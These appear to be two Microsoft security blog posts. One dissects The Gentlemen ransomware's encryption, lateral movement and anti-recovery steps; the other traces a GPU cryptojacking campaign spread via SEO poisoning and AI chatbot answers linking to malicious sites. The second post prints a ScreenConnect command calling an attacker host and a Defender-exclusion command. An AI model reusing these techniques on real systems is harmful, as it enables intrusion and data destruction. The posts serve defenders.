The inclusion of README-GENTLEMEN.txt, the ransomware’s ransom note, prevents it from being encrypted during execution. This ensures that the ransom instructions remain accessible to the victim, which is critical for the operator’s monetization workflow.

Ransom note

During directory traversal, the malware drops a ransom note named README-GENTLEMEN.txt in each scanned directory to provide victim-facing instructions.

The note contains identifiers assigned to the victim, communication channels, and guidance on how to initiate contact with the operators.

Figure 4. Ransom note content File encryption File ownership

Before encrypting a file, the ransomware modifies the file ownership and access control settings to ensure it has unrestricted write access to the target. This is achieved through the following sequence of commands:

The takeown command recursively transfers ownership of the specified file or directory to the executing user, overriding existing ownership constraints. The icacls command then grants full control permissions to the Everyone security identifier (SID S-1-1-0), applying inheritance flags to propagate these permissions to all child objects. Finally, the attrib command removes the read-only attributes.

Cryptographic scheme

The Gentlemen ransomware implements a hybrid cryptographic design that combines Curve25519 elliptic-curve cryptography with the XChaCha20 stream cipher to achieve efficient and secure per-file encryption.

For each file, the malware performs the following sequence of operations:

1. Generates a unique ephemeral Curve25519 key pair, consisting of a randomly generated private key and its corresponding public key
2. Computes the Elliptic-curve Diffie–Hellman (ECDH) shared secret between the ephemeral private key and the operator’s embedded public key
3. Uses the resulting shared secret as the XChaCha20 key, and derives the nonce from the first 24 bytes of the ephemeral public key
4. Encrypts the file contents using XChaCha20 with this key and nonce combination
5. Appends the Base64-encoded ephemeral public key to the file footer to enable subsequent key reconstruction during decryption

Figure 5. The Gentlemen ransomware’s file encryption mechanism

In this sample, the operator’s public key is hard-coded within the binary as a Base64-encoded value:

This design ensures that each file is encrypted with a distinct key and nonce derived from a per-file ephemeral key exchange, eliminating any possibility of key or nonce reuse across files.

During decryption, the decryptor can use the operator’s Curve25519 private key together with the stored ephemeral public key to reconstruct the ECDH shared secret and recover the XChaCha20 key. The nonce is deterministically reconstructed by extracting the first 24 bytes of the recovered ephemeral public key, making separate nonce storage unnecessary.

Overall, this approach provides strong cryptographic isolation between encrypted files while maintaining operational simplicity and efficiency for the threat actor during both encryption and decryption.

Size-based encryption

The malware uses different encryption strategies based on file size:

File sizeEncryption behavior≤ 1 MB (0x100000 bytes)The entire file content is encrypted> 1 MB (0x100000 bytes)Three chunks are encrypted at distributed offsets

Small files that are less than 1MB in size are fully encrypted. This ensures that documents, configuration files, and other small but critical data are completely corrupted. For larger files such as databases, virtual disk images, archives, full encryption would be time-consuming. Instead, the malware encrypts three data chunks distributed across the file, which is sufficient to corrupt the file structure while dramatically reducing encryption time.

After encryption, each affected file is renamed with the appended extension .umc16h. This extension serves as a quick indicator of files already encrypted by the ransomware.

Large file chunking logic

For files larger than 1 MB, the malware performs partial encryption by dividing the file into three non-contiguous chunks distributed across its contents:

The first chunk begins at the start of the file, the second is positioned near the midpoint, and the third is located toward the end. This distribution ensures that even limited encryption is sufficient to corrupt the file structure while minimizing processing time.

Each chunk is encrypted in 64 KB (0x10000) blocks using XChaCha20. To maintain cryptographic separation between chunks, the malware modifies the nonce on a per-chunk basis. Specifically, the last byte of the 24-byte XChaCha20 nonce is XOR-ed with the chunk index (0, 1, or 2), and a new cipher instance is initialized for each chunk using the modified nonce. As a result, chunk 0 uses the original nonce, while subsequent chunks use deterministically altered variants.

Although all chunks for a given file share the same derived encryption key, this nonce mutation ensures that each chunk is processed under a unique keystream, preventing keystream reuse across different regions of the file.

The encryption percentage for each file is determined by the provided speed command-line arguments:

ArgumentPer-chunk percentTotal encrypted percent (3 chunks)(default)9%~27%--fast3%~9%--superfast1%~3%--ultrafast0.3%~0.9% File footer

After encrypting each file, the malware appends a structured footer containing metadata required for identification and decryption. The footer format differs slightly depending on whether the file was fully or partially encrypted.

Small file encryption (files ≤ 1 MB):

Figure 6. Small file footer example

Large file encryption (files > 1 MB):

Figure 7. Large file footer example

The footer serves three primary functions:

1. Key and nonce reconstruction: The Base64-encoded ephemeral public key, located after --eph--, allows the decryptor to recompute both the XChaCha20 key (using ECDH shared secret) and the nonce (first 24 bytes of the ephemeral public key).
2. Identification: The GENTLEMEN marker, located after --marker--, serves as a unique identifier, allowing encryptors/decryptors to quickly determine that the file has been encrypted by The Gentlemen ransomware.
3. Decryption mode: The optional speed flag marker (only present on large files) tells the decryptor which chunking percentage was used.

Notably, the speed marker is only present for large-file encryption. Files that are ≤ 1 MB do not include a speed marker, and its absence signals that the file was fully encrypted. This implicit encoding in the footer allows the decryptor to distinguish between full and partial encryption modes without requiring additional metadata fields.

Post-encryption Wallpaper setup

If the --silent argument is not provided, the malware drops the following bitmap image file to %TEMP%\gentlemen.bmp and sets it as the system’s desktop wallpaper.

Figure 8. The Gentlemen ransomware’s wallpaper

This behavior serves as an immediate visual indicator of compromise, signaling to the victim that encryption has completed.

Self-propagation

The self-propagation module is the more distinctive component of The Gentlemen ransomware. When enabled with the --spread argument, it turns the malware from a single-host encryptor into a self-propagating worm that attempts to deploy its encryptor to every reachable system on the network.

The --spread argument accepts either explicit credentials in domain/user:password format for authenticated lateral movement, or an empty string to reuse the current session’s authentication token.

Placeholder legend

The executed commands in this section use the following placeholders:

PlaceholderMeaning<self>Host name of the infected device running the malware<target>Remote host discovered during network enumeration<malware_path>Full local path to the malware executable<payload_name>The malware file name<ps_blob>PowerShell defense evasion command executed on the remote target<user>Username parsed from the provided credentials<pass>Password parsed from the provided credentials<time>Current time plus two minutes, formatted as HH:MM Phase 1: Local staging setup

The malware prepares the infected host to act as a distribution point for its binary by executing the following command sequence:

The commands copy the malware executable into C:\Temp, creates a hidden Server Message Block (SMB) share named share$ pointing to that directory, and modifies registry settings to allow anonymous access. With this setup, other systems on the network can retrieve the payload from \\<self>\share$, even when valid credentials are not available.

Phase 2: PsExec drop

The malware binary carries an embedded copy of PsExec and drops it to C:\Temp\psexec.exe on the infected device.

If the embedded PsExec payload cannot be extracted successfully, the malware falls back to downloading PsExec directly from Microsoft’s Sysinternals Live service using the following PowerShell command:

Phase 3: Network enumeration

After dropping PsExec, the malware attempts to enumerate and discover remote systems on the network, including workstations, servers, and domain controllers. Each discovered host becomes a candidate target for propagation.

Phase 4: PowerShell defense evasion blob

Before attempting to run the payload on a remote system, the malware executes the following PowerShell command on the remote target to weaken local defenses and make payload execution more reliable:

This command disables Microsoft Defender real-time monitoring, adds broad Defender exclusions, turns off Windows Firewall across all profiles, shares local drives, grants permissive New Technology File System (NTFS) access, enables SMB1, and loosens anonymous-access restrictions through Local Security Authority (LSA) registry settings. Together, these changes make the remote system significantly more exposed and ready for the payload deployment step.

Phase 5: Payload deployment

For each discovered remote host, the malware attempts a series of independent lateral movement techniques to execute its payload. Notably, these techniques are executed without dependency on prior success, and each method is attempted regardless of whether earlier attempts fail. This execution model of The Gentlemen’s propagation logic can significantly increase the likelihood that at least one execution path succeeds even in secured environments.

5.1: Remote file copy

The malware first stages its payload on the remote system by copying the encryptor binary over the administrative C$ share:

This operation ensures a local copy of the payload is available on the target host, allowing subsequent execution methods to reference a path that does not depend on network shares.

5.2: PsExec-based execution

If PsExec is successfully dropped or downloaded, the malware leverages it to perform a multi-stage execution sequence on the remote host.

First, the malware executes the PowerShell defense evasion payload to weaken host protections:

After a delay to allow defenses to be disabled, the malware executes the payload from the locally staged path C:\Temp under SYSTEM privileges:

After another sleep period, the malware executes the final command to run the payload with the –h flag for elevated token and –c -f to copy and force execution:

5.3: WMIC process creation

The malware uses WMI via wmic.exe to create remote processes:

The first command executes the defense evasion blob, the second runs the payload from the infected host’s SMB share, and the third runs the pre-staged copy from the target’s local C:\Temp directory.

5.4: Scheduled tasks (user)

The malware creates three scheduled tasks under the target user’s context, each running two minutes after the time when they are created:

The scheduled task DefU is set to run the defense evasion blob, UpdateGU executes the payload from the infected host’s SMB share, and UpdateGU2runs the pre-staged copy from the target’s local C:\Temp directory.

5.5: Scheduled tasks (system)

The same three tasks are repeated, running under the SYSTEM account:

By attempting both user-context and SYSTEM-context task creation, the ransomware can improve its chance of propagation across environments with different permission boundaries.

5.6: Service-based execution

The malware executes the following command sequence to create three Windows services on the target host:

Similar to the scheduled tasks, the service DefSvc is set to run the defense evasion blob, UpdateSvc executes the payload from the infected host’s SMB share, and UpdateSvc2 runs the pre-staged copy from the target’s local C:\Temp directory. These services run as SYSTEM by default, which provides another high-privilege execution path for the ransomware payload on the remote system.

5.7: Payload deployment: PowerShell remoting

Using PowerShell remoting, the malware executes commands directly on the target using Invoke-Command:

This method leverages Windows Remote Management (WinRM), providing an alternative execution channel when PsExec or WMIC are unavailable or blocked.

5.8: PowerShell WMI execution

Finally, the malware uses the PowerShell WMI class interface directly to create remote processes with the following command sequence.

This provides functionality equivalent to wmic.exe, but through a different execution path. As a result, it might succeed in environments where the WMIC binary is restricted but WMI access remains available.

Self-propagation summary

Across all techniques, the malware attempts 21 remote execution operations per target host, spanning multiple APIs, privilege levels, and execution contexts. Each method attempts to launch the payload from:

• The infected host’s SMB share: \\<self>\share$\<payload_name>
• The target host’s locally staged path: C:\Temp\<payload_name>

This redundancy is central to The Gentlemen’s propagation strategy. In secured environments where most lateral movement techniques are mitigated, a single successful execution on a single additional host is sufficient to continue the propagation.

Free space wipe

If the --wipe argument is provided, The Gentlemen ransomware performs an additional post-encryption routine to eliminate recoverable artifacts from disk.

The malware first enumerates all available volume paths on the system. For each volume, it creates a temporary file named wipefile.tmp at the root directory and determines the amount of available free space. It then writes random data to this file in 64 MB blocks until the volume is completely filled. Once the disk space has been exhausted, the temporary file is deleted.

This process effectively overwrites all unallocated disk space with random data, preventing forensic tools from recovering remnants of previously deleted files. This includes cached or temporary versions of original unencrypted data that might still reside on disk. When combined with earlier actions such as Volume Shadow Copy deletion, this behavior reduces the likelihood of data recovery without access to the threat actor’s decryption key.

Self-delete

If the --keep flag is not provided, the malware attempts to remove its executable from disk after completing encryption.

Since a running process cannot directly delete its own binary, the ransomware generates and executes a temporary batch script at <malware_path>.batwith the following contents:

The batch script introduces a short delay by sending three Internet Control Message Protocol (ICMP) echo requests to the local host, pausing execution long enough for the main malware process to terminate. After this delay, the script deletes the original ransomware executable before removing itself. This mechanism helps reduce on-disk artifacts and hinders post-incident forensic analysis by eliminating the ransomware binary from the compromised system.

Defending against The Gentlemen ransomware

Microsoft recommends the following mitigations to reduce the impact of this threat.

• Read the human-operated ransomware threat overview for advice on developing a holistic security posture to prevent ransomware, including credential hygiene and hardening recommendations. 
• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving threat actor tools and techniques. Cloud-based machine learning protections block a huge majority of new and unknown variants. 
• Turn on tamper protection features to prevent threat actors from stopping security services. In addition to tamper protection, you can also enable and configure Microsoft Defender Antivirus always-on protection in Group Policy. 
• Enable controlled folder access. Controlled folder access helps protect your valuable data from malicious apps and threats, such as ransomware. Controlled folder access works by only allowing trusted apps to access protected folders. Protected folders are specified when controlled folder access is configured. Apps that aren’t included in the trusted apps list are prevented from making any changes to files inside protected folders. 
• Run endpoint detection and response (EDR) in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus does not detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to remediate malicious artifacts that are detected post-breach. 
• Configure investigation and remediation in full automated mode to let Microsoft Defender for Endpoint take immediate action on alerts to resolve breaches, significantly reducing alert volume. 
• Configure automatic attack disruption in Microsoft Defender XDR. Automatic attack disruption is designed to contain attacks in progress, limit the impact on an organization’s assets, and provide more time for security teams to remediate the attack fully. 
• Microsoft Defender XDR customers can turn on attack surface reduction rules to prevent several of the infection vectors of this threat. These rules, which can be configured by any user, offer significant hardening against targeted attacks. In observed attacks, Microsoft customers who had the following rules turned on could mitigate the attack in the initial stages and prevent hands-on-keyboard activity:  
  • Block executable files from running unless they meet a prevalence, age, or trusted list criterion 
  • Block process creations originating from PSExec and WMI commands if you’re managing your devices with Intune or another MDM solution. This rule is incompatible with management through Microsoft Endpoint Configuration Manager. 
  • Use advanced protection against ransomware

Microsoft Defender detections and hunting guidance

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Defender Antivirus

Microsoft Defender Antivirus detects threat components as the following malware:

• Ransom:Win64/Gentlemen

Microsoft Defender for Endpoint

The following alerts might indicate threat activity associated with this threat. These alerts, however, can be triggered by unrelated threat activity and are not monitored in the status cards provided with this report.

• Ransomware-linked threat actor detected
• Ransomware behavior detected in the file system
• Possible ransomware activity
• File backups were deleted
• Potential human-operated malicious activity
• Possible data exfiltration
• Suspicious wallpaper change

The following alerts might indicate threat activity associated with The Gentlemen ransomware if Defender for Endpoint is set to block mode.

• ‘Gentlemen’ ransomware was detected
• ‘Gentlemen’ ransomware was prevented

Microsoft Defender for Cloud Apps

The following alert might indicate threat activity associated with this threat. This alert, however, can be triggered by unrelated threat activity and are not monitored in the status cards provided with this report.

• Ransomware activity

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender XDR threat analytics

• Tool profile: Gentlemen ransomware
• Threat overview profile: Human-operated ransomware

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries Microsoft Defender XDR

Microsoft Defender XDR customers can run the following advanced hunting queries to find related activity in their networks:

Known The Gentlemen ransomware files

Search for the file hashes associated with The Gentlemen ransomware activity identified in this report. 

let fileHashes = dynamic(["22b38dad7da097ea03aa28d0614164cd25fafeb1383dbc15047e34c8050f6f67"]); union ( DeviceFileEvents | where SHA256 in (fileHashes) | project Timestamp, DeviceId, DeviceName, FileName, InitiatingProcessFileName, FileHash = SHA256, SourceTable = "DeviceFileEvents" ), ( DeviceEvents | where SHA256 in (fileHashes) | project Timestamp, DeviceId, DeviceName, FileName, InitiatingProcessFileName, FileHash = SHA256, SourceTable = "DeviceEvents" ), ( DeviceImageLoadEvents | where SHA256 in (fileHashes) | project Timestamp, DeviceId, DeviceName, FileName, InitiatingProcessFileName, FileHash = SHA256, SourceTable = "DeviceImageLoadEvents" ), ( DeviceProcessEvents | where SHA256 in (fileHashes) | project Timestamp, DeviceId, DeviceName, FileName, InitiatingProcessFileName, FileHash = SHA256, SourceTable = "DeviceProcessEvents" ) | order by Timestamp desc Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

Detect web sessions IP and file hash indicators of compromise using Advanced Security Information Model (ASIM)

The following query checks IP addresses, domains, and file hash IOCs across data sources supported by ASIM web session parser:

//IP list - _Im_WebSession let lookback = 30d; let ioc_ip_addr = dynamic([]); let ioc_sha_hashes =dynamic(["22b38dad7da097ea03aa28d0614164cd25fafeb1383dbc15047e34c8050f6f67"]); _Im_WebSession(starttime=todatetime(ago(lookback)), endtime=now()) | where DstIpAddr in (ioc_ip_addr) or FileSHA256 in (ioc_sha_hashes) | summarize imWS_mintime=min(TimeGenerated), imWS_maxtime=max(TimeGenerated), EventCount=count() by SrcIpAddr, DstIpAddr, Url, Dvc, EventProduct, EventVendor

Detect files hashes indicators of compromise using ASIM

The following query checks IP addresses and file hash IOCs across data sources supported by ASIM file event parser:

// file hash list - imFileEvent let ioc_sha_hashes = dynamic(["22b38dad7da097ea03aa28d0614164cd25fafeb1383dbc15047e34c8050f6f67"]); imFileEvent | where SrcFileSHA256 in (ioc_sha_hashes) or TargetFileSHA256 in (ioc_sha_hashes) | extend AccountName = tostring(split(User, @'')[1]), AccountNTDomain = tostring(split(User, @'')[0]) | extend AlgorithmType = "SHA256" Indicators of compromise IndicatorTypeDescription22b38dad7da097ea03aa28d0614164cd25fafeb1383dbc15047e34c8050f6f67SHA-256Gentlemen ransomware encryptor078163d5c16f64caa5a14784323fd51451b8c831c73396b967b4e35e6879937bSHA-256PsExec binaryfe1033335a045c696c900d435119d210361966e2fb5cd1ba3382608cfa2c8e68SHA-256Gentlemen wallpaper Bitmap file Acknowledgements

• License to Encrypt: The “Gentlemen” Make Their Move. Cybereason (accessed 2026-02-06)
• Unmasking The Gentlemen Ransomware: Tactics, Techniques, and Procedures Revealed. TrendMicro (accessed 2026-02-06)

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post The Gentlemen ransomware: Dissecting a self-propagating Go encryptor appeared first on Microsoft Security Blog.

In this article

1. Attack chain overview
2. Mitigation and protection guidance
3. References
4. Learn more

Microsoft Defender Experts identified an active cryptojacking campaign in which malicious download sites are surfaced not only through traditional search engine poisoning, but also through AI chatbot interactions. This emerging delivery technique extends social engineering beyond conventional search results and increases the visibility of malicious software recommendations.

The campaign impersonates trusted system utilities including CrystalDiskInfo, HWMonitor, Display Driver Uninstaller, FurMark, K-Lite Codec Pack, and PDFgear to target users likely to own high-performance GPUs. Rather than maximizing infection volume, the threat actor appears focused on compromising systems with higher mining value.

Beyond cryptocurrency mining, the campaign establishes persistent remote access through abused ScreenConnect deployments that could later support data theft, lateral movement, or ransomware activity. This combination of AI-assisted delivery, software impersonation, and persistent access highlights how threat actors are adapting social engineering and monetization strategies to modern user behavior.

Microsoft Defender detected and blocked activity associated with this campaign. Organizations should enable cloud-delivered protection, run EDR in block mode, and enable attack surface reduction rules to reduce risk.

Attack chain overview

Cryptocurrency mining campaigns have long favored volume over precision, compromising as many hosts as possible to extract marginal value from each. The campaign described in this blog takes a more deliberate approach: its operators have built a targeting and monetization strategy engineered from the ground up to maximize GPU mining yield per compromised device.

Initial access

The campaign begins when users search for common system utility and hardware-monitoring software on a search engine. The users are then presented with manipulated results that direct them to attacker-controlled lookalike sites. The operator runs a coordinated SEO poisoning operation that simultaneously masquerades as a broad portfolio of trusted utility brands, where each one serves the same downstream payload chain.

The campaign abuses multiple trusted brands, including: CrystalDiskInfo, HWMonitor, Display Driver Uninstaller, FurMark, K-Lite Codec Pack, and PDFgear. The selection of these brands is deliberate. Each application is favored by PC enthusiasts and hardware-focused users, precisely the audience most likely to own a high-performance discrete GPU, the hardware that makes GPU cryptocurrency mining economically viable.

Screenshot of search engine results showing a malicious source of hwmonitor.

In April 2026, we observed reports indicating that users may have been directed to malicious domains through interactions with large language model (LLM)–based tools. In these cases, users querying AI chatbots for software download recommendations were presented with links to attacker‑controlled domains within generated responses. Analysis of VirusTotal scan associated with these domains further identified traffic metadata referencing chatbot interactions as a potential referral context.

While this behavior is based on observed patterns and correlated data sources, it’s consistent with emerging techniques in AI search result poisoning, representing an extension of traditional SEO poisoning beyond conventional search engines.

VirusTotal scan results showing traffic metadata associated with attacker-controlled domains, corroborating observed AI-assisted delivery patterns in this campaign. Example of an LLM-generated response observed to contain links to domains later identified as malicious and associated with this campaign. This example is illustrative and does not indicate a systemic issue with any specific AI service.

Each fake site presents a download button that claims it has the legitimate utility. The download instead retrieves a ZIP archive hosted on a campaign‑specific subdomain of gleeze.com. The gleeze.com parent domain is hosted by infrastructure associated with Dynu (dynu.com), a dynamic DNS provider frequently leveraged by threat actors.

Since March 2026, we’ve identified more than 150 malicious domains that we assess serve these malicious tools, masqueraded as system utilities linked to this campaign.

DLL sideloading and silent installation of ScreenConnect software

The downloaded ZIP archive contains the legitimate executable for the spoofed utility alongside a malicious DLL named autorun.dll. When the user launches the executable, the legitimate program loads autorun.dll from the same folder via DLL sideloading, a technique that requires no exploitation and generates no user-visible anomaly. Analysis revealed nine distinct autorun.dll variants across the campaign.

Files dropped after extraction of the ZIP file after download.

The malicious DLL uses msiexec.exe to silently install a second malicious DLL named vcredist_x64.dll, named to masquerade as the Visual C++ Redistributable. This file is itself a packaged installer for ScreenConnect software.

ScreenConnect software (also known as ConnectWise Control) is a legitimate commercial remote management tool widely used by IT administrators. The tool itself is not at fault; rather, the threat actor abuses its legitimate capabilities to establish persistent remote access consistent with a broader pattern of remote monitoring and management (RMM) tool abuse observed across the threat landscape

Once installed, the ScreenConnect client constantly attempts to communicate with the attacker-controlled server at 193.42.11[.]108 via the following service invocation:

"ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=directdownload.icu&p=8041&s=b31c5795-9b66-4d20-ac8d-aad60d05852a&k=...&c=Crystaldeskinfo%20New%20New%20New&c=&c=&c=&c=&c=&c=&c="

The h parameter (directdownload[.]icu) is the host the client connects to.

The repeated c= parameters are ScreenConnect’s custom property fields, which in some cases closely matched the software used to drop ScreenConnect. However, across other instances we were unable to verify if this is an identifier linked to the software used via SEO poisoning.

Execution SimpleRunPE dropper and process hollowing

Once the ScreenConnect session is established, the attacker drops a binary named SimpleRunPE.exe directly via ScreenConnect’s file-transfer feature.

Project lineage

Static analysis of this binary surfaced an embedded Program Database (PDB) path inside the binary’s debug directory:

G:\My Drive\works\test projects\Simple-RunPE-Process-Hollowing-RUNPE\SimpleRunPE\obj\Release\SimpleRunPE.pdb PDB path embedded in binary.

The folder structure in the path matches a public proof-of-concept repository on GitHub (Watermwo/Simple-RunPE-Process-Hollowing), with a -RUNPE suffix. With this information, Microsoft assesses with moderate confidence that the dropped binary’s process hollowing might be a fork of this public codebase. Using this PDB path as a pivot, we identified multiple binaries sharing similar debug paths, all reported to the Microsoft Defender team and addressed.

Screenshots showing Similarities between repo and the malicious binary observed in this campaign. Install path and the alternative PowerShell delivery

Once executed, SimpleRunPE.exe writes a copy of itself into a hidden install folder as RuntimeHost.exe. The install folder name uses the campaign identifier D3F4E2A1, which recurs throughout the malware as a mutex name (Global\D3F4E2A1_Svc) and in Defender exclusion entries.

The malware sets the Hidden and System file attributes on both the install folder and the RuntimeHost.exe file, hiding them from default Explorer views. The malware first attempts to install into a preferred location resolved at runtime and falls back to %LocalAppData%\Microsoft\Windows\Caches\D3F4E2A1\ if the preferred location is not writable.

In a subset of compromises, rather than dropping SimpleRunPE.exe directly via ScreenConnect file transfer, a malicious PowerShell script that fetched the binary from a remote drive, stored it locally as vlc.exe, and created a one-time scheduled task to execute and then delete itself, reducing forensic traceability.

PowerShell script dropped by attacker over ScreenConnect. Persistence

Once SimpleRunPE.exe has copied itself to the install path as RuntimeHost.exe, it establishes six persistence mechanisms across multiple Windows autostart locations. The persistence mechanisms span three scheduled tasks, two registry Run keys, and one Startup folder shortcut.

Suspicious persistence methods implemented by malware. TacticTriggerIdentifierScheduled taskOn user logon (highest privileges)Task name: Windows System HealthScheduled taskOn system boot, 1-hour delay (highest privileges)Task name: Windows System Health MonitorScheduled taskEvery 5 minutes (highest privileges)Task name: Windows System Health CheckRegistry Run key (machine)On any user logonHKLM\Software\Microsoft\Windows\CurrentVersion\Run\WinSysCacheRegistry Run key (user)On current user logonHKCU\Software\Microsoft\Windows\CurrentVersion\Run\WinSysCacheStartup folder shortcutOn current user logon%AppData%\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeHost.lnk LNK file in Startup pointing to RunTimeHost.exe.

Each time the persistence mechanism executes, it relaunches RuntimeHost.exe, which functions as a recovery mechanism for the follow up process hollowing behaviour. Each time the persistence mechanism launches RunTimeHost, it validates whether the following behavior is complete. If the behavior isn’t complete, the rumtimehost.exe attempts to hollow as well.

Defense evasion

Process hollowing into Microsoft-signed .NET binaries

The malware simplerunpe.exe proceeds to attempt process hollowing into a legitimate Microsoft-signed binary. The malware carries a hardcoded list of seven candidate target processes, all of them legitimate Windows utilities that ship with the .NET Framework. These targets are tried in order, and the first one whose binary is present on the host’s disk is selected:

• InstallUtil.exe
• RegAsm.exe
• RegSvcs.exe
• MSBuild.exe
• AppLaunch.exe
• AddInProcess.exe
• aspnet_compiler.exe

Targets for process injection.

The dropper launches the chosen target binary in a suspended state and uses API calls such as WriteProcessMemory, SetThreadContext, ResumeThread to hollow the process. This causes the malicious mining code to run under the identity of a trusted Microsoft-signed binary and execute its own code.

Process hollowing attempt by malware.

Defender exclusions

The malware simplerunpe.exe invokes PowerShell to call the Add-MpPreference cmdlet, registering both path-based and process-based exclusions.

powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath @(...) -ErrorAction SilentlyContinue"

Process-name exclusions cover 13 binaries:

• The seven .NET hollowing targets (InstallUtil.exe, RegAsm.exe, RegSvcs.exe, MSBuild.exe, AppLaunch.exe, AddInProcess.exe, aspnet_compiler.exe)
• SecurityHealthHost.exe, RuntimeHost.exe, lolMiner.exe, SRBMiner-MULTI.exe, miner.exe, and gminer.exe

Target Processes for Defender AV exclusions.

Anti-analysis check

The malware performs anti-analysis checks, exiting silently if any indicator suggests the binary is running in an analysis environment.

The malware checks for virtual machine detection: (registry keys for VMware Tools and VirtualBox Guest Additions, the SCSI Identifier value checked against VBOX/VMWARE/QEMU substrings, MAC address prefix matching against known virtualization vendor ranges, and WMI queries against Win32_ComputerSystem and Win32_BIOS.

The malware also checks against a hardcoded list of forty analyst-tool process names spanning debuggers, disassemblers, decompilers, PE inspection tools, and network analysis utilities, including dnSpy, x64dbg, IDA, Ghidra, ProcMon, Wireshark, Fiddler.

If any of the binaries are detected, the process terminates its execution.

Screenshot showing Anti Analysis/Anti VM implementation by malware Custom crypto mining loader

Once process hollowing is complete and the malware is running inside a Microsoft-signed Windows utility, the mining-client portion of the binary takes over. The first action is to acquire a system-wide mutex named Global\D3F4E2A1_Svc. The mutex name uses the same campaign identifier (D3F4E2A1) as the install-path directory and the Defender exclusion paths.

RuntimeHost.exe probes this mutex to confirm that hollowing has already succeeded and the hollowed process is still alive on the host.

Host-based reconnaissance

The hollowed binary establishes a connection to the attacker’s server (described in the next section) and sends a registration frame containing comprehensive host reconnaissance to the attacker controlled C2/panel.

CategoryWhat’s collectedFingerprintingCPU model and core count; GPU model and vendor with integrated vs. discrete classification; total physical RAM; device type.Live resource stateCurrent CPU usage; current GPU usage (separately for total and dedicated GPU); GPU temperature; system uptime.Operating systemWindows version and architecture, full Windows product name, whether the malware is running with administrative privileges.Network identityLocal IP address; country code derived from an outbound geolocation lookup.Security postureInstalled antivirus product enumerated via Windows Security Center.User activityIdle seconds (time since last keyboard or mouse input).GPU activity detectionDetection of gaming, streaming, or other GPU-heavy user activity based on sustained GPU usage.Mining stateWhether the miner process is currently running; current latency to the mining pool. Screenshot showing Host reconnaissance performed by binary after process hollowing Command and control encrypted address and certificate pinning

The address of the attacker’s server is held inside an encrypted blob using AES-128-CBC encryption. In addition to obfuscating the address, we observed a hard-coded Transport Layer Security (TLS) certificate.

Screen showing encrypted C2 domain and certificate hard coded in binary.

Decrypting the embedded blob yields the C2 URL wss[:]//minemine.gleeze[.]com:8443/ws.

The malware also hardcodes the SHA-256 fingerprint of the TLS certificate expected at this endpoint, used to pin the connection during the WebSocket handshake:

EB:C3:5D:4A:08:D9:3A:88:0E:90:AE:AD:2D:3F:7F:B4:3F:DC:08:EA:77:DB:9D:D5:2F:80:78:1E:6B:FD:88:67 Mining orchestration

The malware (hollowed Windows binary) doesn’t embed a miner program. Instead, when it’s time to begin mining, the malware downloads the appropriate miner archive at runtime and runs it. Three miner programs are supported: gminer, lolMiner, and SRBMiner-MULTI, all of which are GPU-focused tools.

Auto-repair persistence and activity tracking

The hollowed binary also runs a continuous background routine that wakes every five seconds and checks whether mining should currently be paused (based on the GPU-activity gate), and whether all six persistence mechanisms are still in place.

When the verification cycle runs, the malware

• Checks each of the three scheduled tasks by invoking schtasks.exe /query /tn “<task name>” and recreates any task whose query returns a non-zero exit code.
•  Checks each of the two registry Run keys via direct registry reads and rewrites missing or modified entries.
• Checks the Startup folder shortcut by file existence and recreates it if missing.
• Re-runs the Defender exclusion registration on every cycle, ensuring any exclusions that were removed are restored.

Apart from verifying the persistence, the malware also tracks the process activity on the device. As soon as the loader detects the following processes as running, it terminates the miner process.

User activity monitoring/ terminate miner when above processes are detected.

The malware also monitors GPU usage and terminates its activity. If the GPU usage is high or the device isn’t idle, the mining processes are terminated.

Certificate pivoting

As mentioned previously, using this hard-coded certificate, we identified 3 IPs using this specific TLS certificate.

Using OSINT, this TLS certificate was observed to be presented by 3 IP addresses. Microsoft assesses that these IPs are part of the C2 infrastructure.

•           93.115[.]10.35

•           198.23[.]185.238

•           2.59.132[.]106

Using these IPs as pivots, we observed that there were additional linked campaigns using a similar DynamicDNS domain giize[.]com. Some of the sources of the malicious file downloads in these campaigns originated from:

• Direct-download[.]giize[.]com
• Free-download[.]giize[.]com

These domains are also linked to a series of malicious domains performing similar SEO poisoning-based campaigns, leading to same infection chain described in this blog.

Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of this threat. Check the recommendations card for the deployment status of monitored mitigations.

